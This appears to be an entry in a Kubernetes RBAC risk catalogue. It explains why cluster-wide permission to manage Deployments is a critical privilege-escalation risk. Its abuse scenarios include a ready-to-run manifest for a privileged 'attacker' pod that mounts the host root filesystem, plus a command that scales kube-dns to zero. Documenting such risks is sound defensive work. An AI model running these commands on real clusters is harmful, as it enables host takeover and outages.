Overview

FieldValue
ID1033
NameManage Deployments cluster-wide (potential for privileged pod execution)
Risk CategoryElevation of Privilege
Risk LevelCritical
Role TypeClusterRole
API Groupsapps
Resourcesdeployments
Verbscreate, update, patch, delete
TagsPersistence PrivilegeEscalation Tampering WorkloadLifecycle

Description

Allows creating, updating, or deleting Deployments across all namespaces. Deployments manage pod replicas, and this permission can be used to deploy pods with privileged settings, leading to code execution, privilege escalation, persistence, and tampering with cluster workloads.

Abuse Scenarios

  1. Create a new Deployment with a privileged pod template.
kubectl create -n <namespace> -f - <<EOF
apiVersion: apps/v1
kind: Deployment
metadata:
  name: privileged-deployment
spec:
  replicas: 1
  selector:
    matchLabels:
      app: privileged-app
  template:
    metadata:
      labels:
        app: privileged-app
    spec:
      hostNetwork: true
      hostPID: true
      containers:
      - name: attacker
        image: busybox
        command: ["/bin/sh", "-c", "sleep infinity"]
        securityContext:
          privileged: true
        volumeMounts:
        - mountPath: /host
          name: host-root
      volumes:
      - name: host-root
        hostPath:
          path: /
EOF
# Example: kubectl create -n default -f - <<EOF ... EOF
  1. Scale a critical deployment to zero replicas, causing denial of service.
kubectl scale deployment <deployment-name> -n <namespace> --replicas=0
# Example: kubectl scale deployment kube-dns -n kube-system --replicas=0